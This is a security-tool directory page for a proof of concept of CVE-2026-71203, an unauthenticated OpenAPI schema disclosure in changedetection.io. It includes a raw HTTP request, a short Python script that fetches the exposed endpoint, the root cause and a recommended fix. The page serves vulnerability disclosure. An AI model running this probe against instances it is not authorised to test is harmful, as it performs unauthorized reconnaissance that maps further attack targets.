Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-71203-PoC — PoC: changedetection.io unauthenticated OpenAPI schema disclosure (CVE-2026-71203, Medium 5.3) | Kitploit
Tools/GitHubGitHub/nel-droid/cve-2026-71203-poc
Vulnerability AnalysisExploitationAPI Security TestingInformation GatheringWeb SecurityPenetration TestingAPI Security
GitHubnel-droid/cve-2026-71203-poc

CVE-2026-71203-PoC

PoC: changedetection.io unauthenticated OpenAPI schema disclosure (CVE-2026-71203, Medium 5.3)

View Repository
724 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-71203 — changedetection.io: Missing Authentication on /api/v1/full-spec Discloses Full OpenAPI Schema

Product: dgtlmoon/changedetection.io — v0.55.7 File: changedetectionio/api/Spec.py CWE: CWE-306 — Missing Authentication for Critical Function CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N — 5.3 (Medium) CNA: Turan Security · CVE record

Description

changedetection.io's REST API resources are protected by an @auth.check_token decorator that validates the caller's x-api-key header — except the Spec resource registered at /api/v1/full-spec (), whose method carries neither nor .

changedetectionio/api/Spec.py
get
@auth.check_token
@validate_openapi_request

Impact

Any unauthenticated network client can retrieve the instance's complete OpenAPI schema, disclosing the full internal API surface (all resource paths, parameters, and response shapes) without presenting any API key. While the schema itself isn't sensitive user data, it hands an attacker a complete, authoritative map of every other API endpoint to target — lowering the cost of further reconnaissance against the instance's actually-protected resources.

Reproduction

root@kitploit:~
GET /api/v1/full-spec HTTP/1.1
Host: target-instance

No x-api-key header, cookie, or any credential required. The response is the full OpenAPI spec document.

Proof of Concept (Python):

root@kitploit:~
import requests
import sys

target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"

resp = requests.get(f"{target}/api/v1/full-spec", timeout=10)
print(f"[*] Status: {resp.status_code}")
if resp.status_code == 200:
    print("[+] Full OpenAPI schema disclosed with zero authentication:")
    print(resp.text[:1000])

Root Cause

Every other REST resource in the API is registered with @auth.check_token (and @validate_openapi_request) applied to its handler methods; the Spec resource's get method was not decorated the same way, leaving it as the sole unauthenticated endpoint in an otherwise API-key-gated surface.

Fix Recommendation

Apply @auth.check_token to Spec.get() consistent with every other API resource, or if the schema is intended to be public, make that an explicit, documented decision rather than an inconsistency.

Download Tool